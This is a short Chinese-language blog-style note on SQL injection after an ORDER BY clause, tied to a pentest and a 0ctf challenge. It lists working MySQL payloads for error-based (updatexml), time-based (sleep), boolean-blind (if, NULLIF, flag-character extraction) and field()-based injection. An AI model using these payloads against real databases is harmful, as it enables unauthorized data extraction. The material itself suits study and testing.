order by 后注入的常见方式
最近在测试的时候有遇到个一个 order by 注入,稍有点绕,加上之前在 0ctf 的时候也遇到了这种情况,就简单记录一下。
order by 后面的语法如下:
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
所以我们在 order by 后面可以跟字段名或者位置,如下:
常见的 order by 注入形式大致有以下几种:
1)报错注入
order by 1 and 1=updatexml(0,concat(0x7e,version(),0x7e),1)
order by updatexml(0,concat(0x7e,version()),1
2)延时注入
order by username,if((1=2),sleep(1),sleep(0))
3)布尔盲注
布尔注入和上面的延时注入类似,根据 if 语句的正确与否,然后按后面第二位或者第三位排序
order by if(mid(version(),1,1)like('4%'),username,password);
没 = 号,使用 NULLIF
order by if(ascii((select nullif(ascii(mid(flag,1,1)),0x75) from flag)),id,password);
使用 field() 字段自定义排序
order by field(id,1,if(1=1,2,3)) desc;